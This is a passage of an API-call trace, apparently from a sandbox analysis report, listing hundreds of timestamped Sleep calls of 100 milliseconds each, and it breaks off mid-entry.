[0190.194] Sleep (dwMilliseconds=0x64) [0190.207] Sleep (dwMilliseconds=0x64) [0190.222] Sleep (dwMilliseconds=0x64) [0190.238] Sleep (dwMilliseconds=0x64) [0190.254] Sleep (dwMilliseconds=0x64) [0190.269] Sleep (dwMilliseconds=0x64) [0190.285] Sleep (dwMilliseconds=0x64) [0190.301] Sleep (dwMilliseconds=0x64) [0190.317] Sleep (dwMilliseconds=0x64) [0190.340] Sleep (dwMilliseconds=0x64) [0190.347] Sleep (dwMilliseconds=0x64) [0190.363] Sleep (dwMilliseconds=0x64) [0190.379] Sleep (dwMilliseconds=0x64) [0190.394] Sleep (dwMilliseconds=0x64) [0190.412] Sleep (dwMilliseconds=0x64) [0190.425] Sleep (dwMilliseconds=0x64) [0190.441] Sleep (dwMilliseconds=0x64) [0190.456] Sleep (dwMilliseconds=0x64) [0190.472] Sleep (dwMilliseconds=0x64) [0190.488] Sleep (dwMilliseconds=0x64) [0190.503] Sleep (dwMilliseconds=0x64) [0190.520] Sleep (dwMilliseconds=0x64) [0190.535] Sleep (dwMilliseconds=0x64) [0190.550] Sleep (dwMilliseconds=0x64) [0190.566] Sleep (dwMilliseconds=0x64) [0190.582] Sleep (dwMilliseconds=0x64) [0190.598] Sleep (dwMilliseconds=0x64) [0190.613] Sleep (dwMilliseconds=0x64) [0190.628] Sleep (dwMilliseconds=0x64) [0190.644] Sleep (dwMilliseconds=0x64) [0190.659] Sleep (dwMilliseconds=0x64) [0190.679] Sleep (dwMilliseconds=0x64) [0190.691] Sleep (dwMilliseconds=0x64) [0190.706] Sleep (dwMilliseconds=0x64) [0190.722] Sleep (dwMilliseconds=0x64) [0190.738] Sleep (dwMilliseconds=0x64) [0190.753] Sleep (dwMilliseconds=0x64) [0190.769] Sleep (dwMilliseconds=0x64) [0190.789] Sleep (dwMilliseconds=0x64) [0190.800] Sleep (dwMilliseconds=0x64) [0190.815] Sleep (dwMilliseconds=0x64) [0190.831] Sleep (dwMilliseconds=0x64) [0190.847] Sleep (dwMilliseconds=0x64) [0190.862] Sleep (dwMilliseconds=0x64) [0190.878] Sleep (dwMilliseconds=0x64) [0190.893] Sleep (dwMilliseconds=0x64) [0190.909] Sleep (dwMilliseconds=0x64) [0190.924] Sleep (dwMilliseconds=0x64) [0190.940] Sleep (dwMilliseconds=0x64) [0190.956] Sleep (dwMilliseconds=0x64) [0190.971] Sleep (dwMilliseconds=0x64) [0190.987] Sleep (dwMilliseconds=0x64) [0191.018] Sleep (dwMilliseconds=0x64) [0191.034] Sleep (dwMilliseconds=0x64) [0191.049] Sleep (dwMilliseconds=0x64) [0191.065] Sleep (dwMilliseconds=0x64) [0191.081] Sleep (dwMilliseconds=0x64) [0191.096] Sleep (dwMilliseconds=0x64) [0191.112] Sleep (dwMilliseconds=0x64) [0191.128] Sleep (dwMilliseconds=0x64) [0191.143] Sleep (dwMilliseconds=0x64) [0191.159] Sleep (dwMilliseconds=0x64) [0191.174] Sleep (dwMilliseconds=0x64) [0191.190] Sleep (dwMilliseconds=0x64) [0191.205] Sleep (dwMilliseconds=0x64) [0191.222] Sleep (dwMilliseconds=0x64) [0191.237] Sleep (dwMilliseconds=0x64) [0191.252] Sleep (dwMilliseconds=0x64) [0191.268] Sleep (dwMilliseconds=0x64) [0191.285] Sleep (dwMilliseconds=0x64) [0191.299] Sleep (dwMilliseconds=0x64) [0191.314] Sleep (dwMilliseconds=0x64) [0191.339] Sleep (dwMilliseconds=0x64) [0191.346] Sleep (dwMilliseconds=0x64) [0191.361] Sleep (dwMilliseconds=0x64) [0191.379] Sleep (dwMilliseconds=0x64) [0191.393] Sleep (dwMilliseconds=0x64) [0191.408] Sleep (dwMilliseconds=0x64) [0191.424] Sleep (dwMilliseconds=0x64) [0191.440] Sleep (dwMilliseconds=0x64) [0191.455] Sleep (dwMilliseconds=0x64) [0191.471] Sleep (dwMilliseconds=0x64) [0191.486] Sleep (dwMilliseconds=0x64) [0191.502] Sleep (dwMilliseconds=0x64) [0191.521] Sleep (dwMilliseconds=0x64) [0191.533] Sleep (dwMilliseconds=0x64) [0191.549] Sleep (dwMilliseconds=0x64) [0191.564] Sleep (dwMilliseconds=0x64) [0191.580] Sleep (dwMilliseconds=0x64) [0191.598] Sleep (dwMilliseconds=0x64) [0191.611] Sleep (dwMilliseconds=0x64) [0191.627] Sleep (dwMilliseconds=0x64) [0191.642] Sleep (dwMilliseconds=0x64) [0191.658] Sleep (dwMilliseconds=0x64) [0191.673] Sleep (dwMilliseconds=0x64) [0191.691] Sleep (dwMilliseconds=0x64) [0191.705] Sleep (dwMilliseconds=0x64) [0191.722] Sleep (dwMilliseconds=0x64) [0191.736] Sleep (dwMilliseconds=0x64) [0191.752] Sleep (dwMilliseconds=0x64) [0191.767] Sleep (dwMilliseconds=0x64) [0191.783] Sleep (dwMilliseconds=0x64) [0191.805] Sleep (dwMilliseconds=0x64) [0191.814] Sleep (dwMilliseconds=0x64) [0191.829] Sleep (dwMilliseconds=0x64) [0191.845] Sleep (dwMilliseconds=0x64) [0191.861] Sleep (dwMilliseconds=0x64) [0191.876] Sleep (dwMilliseconds=0x64) [0191.893] Sleep (dwMilliseconds=0x64) [0191.908] Sleep (dwMilliseconds=0x64) [0191.923] Sleep (dwMilliseconds=0x64) [0191.939] Sleep (dwMilliseconds=0x64) [0191.954] Sleep (dwMilliseconds=0x64) [0191.970] Sleep (dwMilliseconds=0x64) [0191.986] Sleep (dwMilliseconds=0x64) [0192.001] Sleep (dwMilliseconds=0x64) [0192.030] Sleep (dwMilliseconds=0x64) [0192.032] Sleep (dwMilliseconds=0x64) [0192.048] Sleep (dwMilliseconds=0x64) [0192.063] Sleep (dwMilliseconds=0x64) [0192.079] Sleep (dwMilliseconds=0x64) [0192.094] Sleep (dwMilliseconds=0x64) [0192.110] Sleep (dwMilliseconds=0x64) [0192.126] Sleep (dwMilliseconds=0x64) [0192.141] Sleep (dwMilliseconds=0x64) [0192.157] Sleep (dwMilliseconds=0x64) [0192.172] Sleep (dwMilliseconds=0x64) [0192.188] Sleep (dwMilliseconds=0x64) [0192.204] Sleep (dwMilliseconds=0x64) [0192.221] Sleep (dwMilliseconds=0x64) [0192.235] Sleep (dwMilliseconds=0x64) [0192.250] Sleep (dwMilliseconds=0x64) [0192.266] Sleep (dwMilliseconds=0x64) [0192.282] Sleep (dwMilliseconds=0x64) [0192.297] Sleep (dwMilliseconds=0x64) [0192.313] Sleep (dwMilliseconds=0x64) [0192.338] Sleep (dwMilliseconds=0x64) [0192.344] Sleep (dwMilliseconds=0x64) [0192.360] Sleep (dwMilliseconds=0x64) [0192.377] Sleep (dwMilliseconds=0x64) [0192.391] Sleep (dwMilliseconds=0x64) [0192.406] Sleep (dwMilliseconds=0x64) [0192.422] Sleep (dwMilliseconds=0x64) [0192.439] Sleep (dwMilliseconds=0x64) [0192.454] Sleep (dwMilliseconds=0x64) [0192.469] Sleep (dwMilliseconds=0x64) [0192.484] Sleep (dwMilliseconds=0x64) [0192.500] Sleep (dwMilliseconds=0x64) [0192.520] Sleep (dwMilliseconds=0x64) [0192.532] Sleep (dwMilliseconds=0x64) [0192.548] Sleep (dwMilliseconds=0x64) [0192.563] Sleep (dwMilliseconds=0x64) [0192.578] Sleep (dwMilliseconds=0x64) [0192.597] Sleep (dwMilliseconds=0x64) [0192.609] Sleep (dwMilliseconds=0x64) [0192.625] Sleep (dwMilliseconds=0x64) [0192.641] Sleep (dwMilliseconds=0x64) [0192.657] Sleep (dwMilliseconds=0x64) [0192.672] Sleep (dwMilliseconds=0x64) [0192.687] Sleep (dwMilliseconds=0x64) [0192.703] Sleep (dwMilliseconds=0x64) [0192.721] Sleep (dwMilliseconds=0x64) [0192.734] Sleep (dwMilliseconds=0x64) [0192.750] Sleep (dwMilliseconds=0x64) [0192.766] Sleep (dwMilliseconds=0x64) [0192.781] Sleep (dwMilliseconds=0x64) [0192.797] Sleep (dwMilliseconds=0x64) [0192.815] Sleep (dwMilliseconds=0x64) [0192.828] Sleep (dwMilliseconds=0x64) [0192.843] Sleep (dwMilliseconds=0x64) [0192.859] Sleep (dwMilliseconds=0x64) [0192.875] Sleep (dwMilliseconds=0x64) [0192.890] Sleep (dwMilliseconds=0x64) [0192.906] Sleep (dwMilliseconds=0x64) [0192.921] Sleep (dwMilliseconds=0x64) [0192.938] Sleep (dwMilliseconds=0x64) [0192.953] Sleep (dwMilliseconds=0x64) [0192.968] Sleep (dwMilliseconds=0x64) [0192.984] Sleep (dwMilliseconds=0x64) [0192.999] Sleep (dwMilliseconds=0x64) [0193.015] Sleep (dwMilliseconds=0x64) [0193.044] Sleep (dwMilliseconds=0x64) [0193.047] Sleep (dwMilliseconds=0x64) [0193.062] Sleep (dwMilliseconds=0x64) [0193.077] Sleep (dwMilliseconds=0x64) [0193.093] Sleep (dwMilliseconds=0x64) [0193.111] Sleep (dwMilliseconds=0x64) [0193.124] Sleep (dwMilliseconds=0x64) [0193.140] Sleep (dwMilliseconds=0x64) [0193.158] Sleep (dwMilliseconds=0x64) [0193.171] Sleep (dwMilliseconds=0x64) [0193.188] Sleep (dwMilliseconds=0x64) [0193.202] Sleep (dwMilliseconds=0x64) [0193.218] Sleep (dwMilliseconds=0x64) [0193.233] Sleep (dwMilliseconds=0x64) [0193.249] Sleep (dwMilliseconds=0x64) [0193.265] Sleep (dwMilliseconds=0x64) [0193.280] Sleep (dwMilliseconds=0x64) [0193.296] Sleep (dwMilliseconds=0x64) [0193.311] Sleep (dwMilliseconds=0x64) [0193.327] Sleep (dwMilliseconds=0x64) [0193.351] Sleep (dwMilliseconds=0x64) [0193.358] Sleep (dwMilliseconds=0x64) [0193.374] Sleep (dwMilliseconds=0x64) [0193.389] Sleep (dwMilliseconds=0x64) [0193.405] Sleep (dwMilliseconds=0x64) [0193.421] Sleep (dwMilliseconds=0x64) [0193.436] Sleep (dwMilliseconds=0x64) [0193.455] Sleep (dwMilliseconds=0x64) [0193.467] Sleep (dwMilliseconds=0x64) [0193.483] Sleep (dwMilliseconds=0x64) [0193.498] Sleep (dwMilliseconds=0x64) [0193.515] Sleep (dwMilliseconds=0x64) [0193.544] Sleep (dwMilliseconds=0x64) [0193.545] Sleep (dwMilliseconds=0x64) [0193.561] Sleep (dwMilliseconds=0x64) [0193.578] Sleep (dwMilliseconds=0x64) [0193.592] Sleep (dwMilliseconds=0x64) [0193.608] Sleep (dwMilliseconds=0x64) [0193.624] Sleep (dwMilliseconds=0x64) [0193.641] Sleep (dwMilliseconds=0x64) [0193.655] Sleep (dwMilliseconds=0x64) [0193.670] Sleep (dwMilliseconds=0x64) [0193.686] Sleep (dwMilliseconds=0x64) [0193.705] Sleep (dwMilliseconds=0x64) [0193.717] Sleep (dwMilliseconds=0x64) [0193.733] Sleep (dwMilliseconds=0x64) [0193.748] Sleep (dwMilliseconds=0x64) [0193.765] Sleep (dwMilliseconds=0x64) [0193.780] Sleep (dwMilliseconds=0x64) [0193.795] Sleep (dwMilliseconds=0x64) [0193.810] Sleep (dwMilliseconds=0x64) [0193.833] Sleep (dwMilliseconds=0x64) [0193.842] Sleep (dwMilliseconds=0x64) [0193.857] Sleep (dwMilliseconds=0x64) [0193.873] Sleep (dwMilliseconds=0x64) [0193.889] Sleep (dwMilliseconds=0x64) [0193.904] Sleep (dwMilliseconds=0x64) [0193.920] Sleep (dwMilliseconds=0x64) [0193.938] Sleep (dwMilliseconds=0x64) [0193.951] Sleep (dwMilliseconds=0x64) [0193.967] Sleep (dwMilliseconds=0x64) [0193.982] Sleep (dwMilliseconds=0x64) [0193.998] Sleep (dwMilliseconds=0x64) [0194.013] Sleep (dwMilliseconds=0x64) [0194.029] Sleep (dwMilliseconds=0x64) [0194.062] Sleep (dwMilliseconds=0x64) [0194.076] Sleep (dwMilliseconds=0x64) [0194.091] Sleep (dwMilliseconds=0x64) [0194.109] Sleep (dwMilliseconds=0x64) [0194.122] Sleep (dwMilliseconds=0x64) [0194.138] Sleep (dwMilliseconds=0x64) [0194.154] Sleep (dwMilliseconds=0x64) [0194.170] Sleep (dwMilliseconds=0x64) [0194.185] Sleep (dwMilliseconds=0x64) [0194.201] Sleep (dwMilliseconds=0x64) [0194.218] Sleep (dwMilliseconds=0x64) [0194.232] Sleep (dwMilliseconds=0x64) [0194.247] Sleep (dwMilliseconds=0x64) [0194.263] Sleep (dwMilliseconds=0x64) [0194.279] Sleep (dwMilliseconds=0x64) [0194.294] Sleep (dwMilliseconds=0x64) [0194.310] Sleep (dwMilliseconds=0x64) [0194.325] Sleep (dwMilliseconds=0x64) [0194.354] Sleep (dwMilliseconds=0x64) [0194.357] Sleep (dwMilliseconds=0x64) [0194.372] Sleep (dwMilliseconds=0x64) [0194.388] Sleep (dwMilliseconds=0x64) [0194.403] Sleep (dwMilliseconds=0x64) [0194.419] Sleep (dwMilliseconds=0x64) [0194.435] Sleep (dwMilliseconds=0x64) [0194.453] Sleep (dwMilliseconds=0x64) [0194.466] Sleep (dwMilliseconds=0x64) [0194.481] Sleep (dwMilliseconds=0x64) [0194.497] Sleep (dwMilliseconds=0x64) [0194.513] Sleep (dwMilliseconds=0x64) [0194.528] Sleep (dwMilliseconds=0x64) [0194.544] Sleep (dwMilliseconds=0x64) [0194.562] Sleep (dwMilliseconds=0x64) [0194.576] Sleep (dwMilliseconds=0x64) [0194.591] Sleep (dwMilliseconds=0x64) [0194.606] Sleep (dwMilliseconds=0x64) [0194.622] Sleep (dwMilliseconds=0x64) [0194.639] Sleep (dwMilliseconds=0x64) [0194.653] Sleep (dwMilliseconds=0x64) [0194.669] Sleep (dwMilliseconds=0x64) [0194.684] Sleep (dwMilliseconds=0x64) [0194.700] Sleep (dwMilliseconds=0x64) [0194.716] Sleep (dwMilliseconds=0x64) [0194.731] Sleep (dwMilliseconds=0x64) [0194.746] Sleep (dwMilliseconds=0x64) [0194.763] Sleep (dwMilliseconds=0x64) [0194.778] Sleep (dwMilliseconds=0x64) [0194.794] Sleep (dwMilliseconds=0x64) [0194.809] Sleep (dwMilliseconds=0x64) [0194.825] Sleep (dwMilliseconds=0x64) [0194.847] Sleep (dwMilliseconds=0x64) [0194.856] Sleep (dwMilliseconds=0x64) [0194.871] Sleep (dwMilliseconds=0x64) [0194.887] Sleep (dwMilliseconds=0x64) [0194.903] Sleep (dwMilliseconds=0x64) [0194.918] Sleep (dwMilliseconds=0x64) [0194.935] Sleep (dwMilliseconds=0x64) [0194.949] Sleep (dwMilliseconds=0x64) [0194.965] Sleep (dwMilliseconds=0x64) [0194.981] Sleep (dwMilliseconds=0x64) [0194.996] Sleep (dwMilliseconds=0x64) [0195.012] Sleep (dwMilliseconds=0x64) [0195.027] Sleep (dwMilliseconds=0x64) [0195.043] Sleep (dwMilliseconds=0x64) [0195.072] Sleep (dwMilliseconds=0x64) [0195.074] Sleep (dwMilliseconds=0x64) [0195.090] Sleep (dwMilliseconds=0x64) [0195.106] Sleep (dwMilliseconds=0x64) [0195.121] Sleep (dwMilliseconds=0x64) [0195.136] Sleep (dwMilliseconds=0x64) [0195.154] Sleep (dwMilliseconds=0x64) [0195.168] Sleep (dwMilliseconds=0x64) [0195.183] Sleep (dwMilliseconds=0x64) [0195.199] Sleep (dwMilliseconds=0x64) [0195.214] Sleep (dwMilliseconds=0x64) [0195.232] Sleep (dwMilliseconds=0x64) [0195.246] Sleep (dwMilliseconds=0x64) [0195.262] Sleep (dwMilliseconds=0x64) [0195.277] Sleep (dwMilliseconds=0x64) [0195.292] Sleep (dwMilliseconds=0x64) [0195.308] Sleep (dwMilliseconds=0x64) [0195.324] Sleep (dwMilliseconds=0x64) [0195.351] Sleep (dwMilliseconds=0x64) [0195.355] Sleep (dwMilliseconds=0x64) [0195.371] Sleep (dwMilliseconds=0x64) [0195.386] Sleep (dwMilliseconds=0x64) [0195.402] Sleep (dwMilliseconds=0x64) [0195.417] Sleep (dwMilliseconds=0x64) [0195.433] Sleep (dwMilliseconds=0x64) [0195.450] Sleep (dwMilliseconds=0x64) [0195.464] Sleep (dwMilliseconds=0x64) [0195.480] Sleep (dwMilliseconds=0x64) [0195.495] Sleep (dwMilliseconds=0x64) [0195.511] Sleep (dwMilliseconds=0x64) [0195.526] Sleep (dwMilliseconds=0x64) [0195.542] Sleep (dwMilliseconds=0x64) [0195.559] Sleep (dwMilliseconds=0x64) [0195.573] Sleep (dwMilliseconds=0x64) [0195.589] Sleep (dwMilliseconds=0x64) [0195.605] Sleep (dwMilliseconds=0x64) [0195.620] Sleep (dwMilliseconds=0x64) [0195.637] Sleep (dwMilliseconds=0x64) [0195.651] Sleep (dwMilliseconds=0x64) [0195.667] Sleep (dwMilliseconds=0x64) [0195.682] Sleep (dwMilliseconds=0x64) [0195.698] Sleep (dwMilliseconds=0x64) [0195.719] Sleep (dwMilliseconds=0x64) [0195.729] Sleep (dwMilliseconds=0x64) [0195.745] Sleep (dwMilliseconds=0x64) [0195.761] Sleep (dwMilliseconds=0x64) [0195.776] Sleep (dwMilliseconds=0x64) [0195.792] Sleep (dwMilliseconds=0x64) [0195.808] Sleep (dwMilliseconds=0x64) [0195.823] Sleep (dwMilliseconds=0x64) [0195.839] Sleep (dwMilliseconds=0x64) [0195.858] Sleep (dwMilliseconds=0x64) [0195.870] Sleep (dwMilliseconds=0x64) [0195.885] Sleep (dwMilliseconds=0x64) [0195.901] Sleep (dwMilliseconds=0x64) [0195.917] Sleep (dwMilliseconds=0x64) [0195.933] Sleep (dwMilliseconds=0x64) [0195.948] Sleep (dwMilliseconds=0x64) [0195.964] Sleep (dwMilliseconds=0x64) [0195.979] Sleep (dwMilliseconds=0x64) [0195.994] Sleep (dwMilliseconds=0x64) [0196.010] Sleep (dwMilliseconds=0x64) [0196.026] Sleep (dwMilliseconds=0x64) [0196.041] Sleep (dwMilliseconds=0x64) [0196.057] Sleep (dwMilliseconds=0x64) [0196.086] Sleep (dwMilliseconds=0x64) [0196.088] Sleep (dwMilliseconds=0x64) [0196.105] Sleep (dwMilliseconds=0x64) [0196.119] Sleep (dwMilliseconds=0x64) [0196.135] Sleep (dwMilliseconds=0x64) [0196.150] Sleep (dwMilliseconds=0x64) [0196.167] Sleep (dwMilliseconds=0x64) [0196.182] Sleep (dwMilliseconds=0x64) [0196.198] Sleep (dwMilliseconds=0x64) [0196.213] Sleep (dwMilliseconds=0x64) [0196.229] Sleep (dwMilliseconds=0x64) [0196.247] Sleep (dwMilliseconds=0x64) [0196.260] Sleep (dwMilliseconds=0x64) [0196.275] Sleep (dwMilliseconds=0x64) [0196.291] Sleep (dwMilliseconds=0x64) [0196.306] Sleep (dwMilliseconds=0x64) [0196.322] Sleep (dwMilliseconds=0x64) [0196.346] Sleep (dwMilliseconds=0x64) [0196.354] Sleep (dwMilliseconds=0x64) [0196.369] Sleep (dwMilliseconds=0x64) [0196.385] Sleep (dwMilliseconds=0x64) [0196.400] Sleep (dwMilliseconds=0x64) [0196.416] Sleep (dwMilliseconds=0x64) [0196.431] Sleep (dwMilliseconds=0x64) [0196.447] Sleep (dwMilliseconds=0x64) [0196.463] Sleep (dwMilliseconds=0x64) [0196.478] Sleep (dwMilliseconds=0x64) [0196.494] Sleep (dwMilliseconds=0x64) [0196.509] Sleep (dwMilliseconds=0x64) [0196.527] Sleep (dwMilliseconds=0x64) [0196.540] Sleep (dwMilliseconds=0x64) [0196.556] Sleep (dwMilliseconds=0x64) [0196.572] Sleep (dwMilliseconds=0x64) [0196.587] Sleep (dwMilliseconds=0x64) [0196.603] Sleep (dwMilliseconds=0x64) [0196.618] Sleep (dwMilliseconds=0x64) [0196.634] Sleep (dwMilliseconds=0x64) [0196.650] Sleep (dwMilliseconds=0x64) [0196.665] Sleep (dwMilliseconds=0x64) [0196.681] Sleep (dwMilliseconds=0x64) [0196.697] Sleep (dwMilliseconds=0x64) [0196.712] Sleep (dwMilliseconds=0x64) [0196.728] Sleep (dwMilliseconds=0x64) [0196.743] Sleep (dwMilliseconds=0x64) [0196.760] Sleep (dwMilliseconds=0x64) [0196.775] Sleep (dwMilliseconds=0x64) [0196.790] Sleep (dwMilliseconds=0x64) [0196.806] Sleep (dwMilliseconds=0x64) [0196.822] Sleep (dwMilliseconds=0x64) [0196.837] Sleep (dwMilliseconds=0x64) [0196.853] Sleep (dwMilliseconds=0x64) [0196.874] Sleep (dwMilliseconds=0x64) [0196.884] Sleep (dwMilliseconds=0x64) [0196.900] Sleep (dwMilliseconds=0x64) [0196.915] Sleep (dwMilliseconds=0x64) [0196.931] Sleep (dwMilliseconds=0x64) [0196.946] Sleep (dwMilliseconds=0x64) [0196.962] Sleep (dwMilliseconds=0x64) [0196.977] Sleep (dwMilliseconds=0x64) [0196.993] Sleep (dwMilliseconds=0x64) [0197.009] Sleep (dwMilliseconds=0x64) [0197.024] Sleep (dwMilliseconds=0x64) [0197.040] Sleep (dwMilliseconds=0x64) [0197.055] Sleep (dwMilliseconds=0x64) [0197.071] Sleep (dwMilliseconds=0x64) [0197.089] Sleep (dwMilliseconds=0x64) [0197.102] Sleep (dwMilliseconds=0x64) [0197.118] Sleep (dwMilliseconds=0x64) [0197.133] Sleep (dwMilliseconds=0x64) [0197.149] Sleep (dwMilliseconds=0x64) [0197.164] Sleep (dwMilliseconds=0x64) [0197.180] Sleep (dwMilliseconds=0x64) [0197.196] Sleep (dwMilliseconds=0x64) [0197.211] Sleep (dwMilliseconds=0x64) [0197.228] Sleep (dwMilliseconds=0x64) [0197.243] Sleep (dwMilliseconds=0x64) [0197.258] Sleep (dwMilliseconds=0x64) [0197.274] Sleep (dwMilliseconds=0x64) [0197.289] Sleep (dwMilliseconds=0x64) [0197.306] Sleep (dwMilliseconds=0x64) [0197.321] Sleep (dwMilliseconds=0x64) [0197.344] Sleep (dwMilliseconds=0x64) [0197.352] Sleep (dwMilliseconds=0x64) [0197.367] Sleep (dwMilliseconds=0x64) [0197.383] Sleep (dwMilliseconds=0x64) [0197.398] Sleep (dwMilliseconds=0x64) [0197.414] Sleep (dwMilliseconds=0x64) [0197.430] Sleep (dwMilliseconds=0x64) [0197.446] Sleep (dwMilliseconds=0x64) [0197.462] Sleep (dwMilliseconds=0x64) [0197.477] Sleep (dwMilliseconds=0x64) [0197.492] Sleep (dwMilliseconds=0x64) [0197.508] Sleep (dwMilliseconds=0x64) [0197.523] Sleep (dwMilliseconds=0x64) [0197.539] Sleep (dwMilliseconds=0x64) [0197.555] Sleep (dwMilliseconds=0x64) [0197.570] Sleep (dwMilliseconds=0x64) [0197.586] Sleep (dwMilliseconds=0x64) [0197.605] Sleep (dwMilliseconds=0x64) [0197.617] Sleep (dwMilliseconds=0x64) [0197.633] Sleep (dwMilliseconds=0x64) [0197.648] Sleep (dwMilliseconds=0x64) [0197.664] Sleep (dwMilliseconds=0x64) [0197.682] Sleep (dwMilliseconds=0x64) [0197.695] Sleep (dwMilliseconds=0x64) [0197.711] Sleep (dwMilliseconds=0x64) [0197.728] Sleep (dwMilliseconds=0x64) [0197.742] Sleep (dwMilliseconds=0x64) [0197.758] Sleep (dwMilliseconds=0x64) [0197.773] Sleep (dwMilliseconds=0x64) [0197.789] Sleep (dwMilliseconds=0x64) [0197.806] Sleep (dwMilliseconds=0x64) [0197.820] Sleep (dwMilliseconds=0x64) [0197.836] Sleep (dwMilliseconds=0x64) [0197.851] Sleep (dwMilliseconds=0x64) [0197.867] Sleep (dwMilliseconds=0x64) [0197.891] Sleep (dwMilliseconds=0x64) [0197.898] Sleep (dwMilliseconds=0x64) [0197.913] Sleep (dwMilliseconds=0x64) [0197.930] Sleep (dwMilliseconds=0x64) [0197.945] Sleep (dwMilliseconds=0x64) [0197.960] Sleep (dwMilliseconds=0x64) [0197.976] Sleep (dwMilliseconds=0x64) [0197.993] Sleep (dwMilliseconds=0x64) [0198.007] Sleep (dwMilliseconds=0x64) [0198.023] Sleep (dwMilliseconds=0x64) [0198.038] Sleep (dwMilliseconds=0x64) [0198.054] Sleep (dwMilliseconds=0x64) [0198.069] Sleep (dwMilliseconds=0x64) [0198.098] Sleep (dwMilliseconds=0x64) [0198.101] Sleep (dwMilliseconds=0x64) [0198.116] Sleep (dwMilliseconds=0x64) [0198.132] Sleep (dwMilliseconds=0x64) [0198.147] Sleep (dwMilliseconds=0x64) [0198.163] Sleep (dwMilliseconds=0x64) [0198.178] Sleep (dwMilliseconds=0x64) [0198.194] Sleep (dwMilliseconds=0x64) [0198.210] Sleep (dwMilliseconds=0x64) [0198.225] Sleep (dwMilliseconds=0x64) [0198.244] Sleep (dwMilliseconds=0x64) [0198.257] Sleep (dwMilliseconds=0x64) [0198.272] Sleep (dwMilliseconds=0x64) [0198.288] Sleep (dwMilliseconds=0x64) [0198.303] Sleep (dwMilliseconds=0x64) [0198.319] Sleep (dwMilliseconds=0x64) [0198.342] Sleep (dwMilliseconds=0x64) [0198.350] Sleep (dwMilliseconds=0x64) [0198.366] Sleep (dwMilliseconds=0x64) [0198.381] Sleep (dwMilliseconds=0x64) [0198.397] Sleep (dwMilliseconds=0x64) [0198.412] Sleep (dwMilliseconds=0x64) [0198.434] Sleep (dwMilliseconds=0x64) [0198.444] Sleep (dwMilliseconds=0x64) [0198.459] Sleep (dwMilliseconds=0x64) [0198.475] Sleep (dwMilliseconds=0x64) [0198.490] Sleep (dwMilliseconds=0x64) [0198.506] Sleep (dwMilliseconds=0x64) [0198.524] Sleep (dwMilliseconds=0x64) [0198.538] Sleep (dwMilliseconds=0x64) [0198.553] Sleep (dwMilliseconds=0x64) [0198.569] Sleep (dwMilliseconds=0x64) [0198.584] Sleep (dwMilliseconds=0x64) [0198.600] Sleep (dwMilliseconds=0x64) [0198.615] Sleep (dwMilliseconds=0x64) [0198.631] Sleep (dwMilliseconds=0x64) [0198.647] Sleep (dwMilliseconds=0x64) [0198.662] Sleep (dwMilliseconds=0x64) [0198.678] Sleep (dwMilliseconds=0x64) [0198.694] Sleep (dwMilliseconds=0x64) [0198.709] Sleep (dwMilliseconds=0x64) [0198.724] Sleep (dwMilliseconds=0x64) [0198.740] Sleep (dwMilliseconds=0x64) [0198.757] Sleep (dwMilliseconds=0x64) [0198.771] Sleep (dwMilliseconds=0x64) [0198.787] Sleep (dwMilliseconds=0x64) [0198.802] Sleep (dwMilliseconds=0x64) [0198.819] Sleep (dwMilliseconds=0x64) [0198.834] Sleep (dwMilliseconds=0x64) [0198.850] Sleep (dwMilliseconds=0x64) [0198.865] Sleep (dwMilliseconds=0x64) [0198.881] Sleep (dwMilliseconds=0x64) [0198.901] Sleep (dwMilliseconds=0x64) [0198.912] Sleep (dwMilliseconds=0x64) [0198.928] Sleep (dwMilliseconds=0x64) [0198.943] Sleep (dwMilliseconds=0x64) [0198.958] Sleep (dwMilliseconds=0x64) [0198.974] Sleep (dwMilliseconds=0x64) [0198.990] Sleep (dwMilliseconds=0x64) [0199.005] Sleep (dwMilliseconds=0x64) [0199.021] Sleep (dwMilliseconds=0x64) [0199.048] Sleep (dwMilliseconds=0x64) [0199.052] Sleep (dwMilliseconds=0x64) [0199.068] Sleep (dwMilliseconds=0x64) [0199.083] Sleep (dwMilliseconds=0x64) [0199.114] Sleep (dwMilliseconds=0x64) [0199.114] Sleep (dwMilliseconds=0x64) [0199.130] Sleep (dwMilliseconds=0x64) [0199.146] Sleep (dwMilliseconds=0x64) [0199.161] Sleep (dwMilliseconds=0x64) [0199.177] Sleep (dwMilliseconds=0x64) [0199.193] Sleep (dwMilliseconds=0x64) [0199.208] Sleep (dwMilliseconds=0x64) [0199.224] Sleep (dwMilliseconds=0x64) [0199.239] Sleep (dwMilliseconds=0x64) [0199.256] Sleep (dwMilliseconds=0x64) [0199.271] Sleep (dwMilliseconds=0x64) [0199.286] Sleep (dwMilliseconds=0x64) [0199.302] Sleep (dwMilliseconds=0x64) [0199.317] Sleep (dwMilliseconds=0x64) [0199.340] Sleep (dwMilliseconds=0x64) [0199.349] Sleep (dwMilliseconds=0x64) [0199.366] Sleep (dwMilliseconds=0x64) [0199.380] Sleep (dwMilliseconds=0x64) [0199.396] Sleep (dwMilliseconds=0x64) [0199.411] Sleep (dwMilliseconds=0x64) [0199.427] Sleep (dwMilliseconds=0x64) [0199.442] Sleep (dwMilliseconds=0x64) [0199.460] Sleep (dwMilliseconds=0x64) [0199.473] Sleep (dwMilliseconds=0x64) [0199.489] Sleep (dwMilliseconds=0x64) [0199.505] Sleep (dwMilliseconds=0x64) [0199.520] Sleep (dwMilliseconds=0x64) [0199.536] Sleep (dwMilliseconds=0x64) [0199.551] Sleep (dwMilliseconds=0x64) [0199.567] Sleep (dwMilliseconds=0x64) [0199.583] Sleep (dwMilliseconds=0x64) [0199.598] Sleep (dwMilliseconds=0x64) [0199.614] Sleep (dwMilliseconds=0x64) [0199.630] Sleep (dwMilliseconds=0x64) [0199.645] Sleep (dwMilliseconds=0x64) [0199.661] Sleep (dwMilliseconds=0x64) [0199.676] Sleep (dwMilliseconds=0x64) [0199.692] Sleep (dwMilliseconds=0x64) [0199.707] Sleep (dwMilliseconds=0x64) [0199.723] Sleep (dwMilliseconds=0x64) [0199.748] Sleep (dwMilliseconds=0x64) [0199.754] Sleep (dwMilliseconds=0x64) [0199.770] Sleep (dwMilliseconds=0x64) [0199.785] Sleep (dwMilliseconds=0x64) [0199.801] Sleep (dwMilliseconds=0x64) [0199.816] Sleep (dwMilliseconds=0x64) [0199.836] Sleep (dwMilliseconds=0x64) [0199.848] Sleep (dwMilliseconds=0x64) [0199.864] Sleep (dwMilliseconds=0x64) [0199.880] Sleep (dwMilliseconds=0x64) [0199.894] Sleep (dwMilliseconds=0x64) [0199.922] Sleep (dwMilliseconds=0x64) [0199.925] Sleep (dwMilliseconds=0x64) [0199.942] Sleep (dwMilliseconds=0x64) [0199.957] Sleep 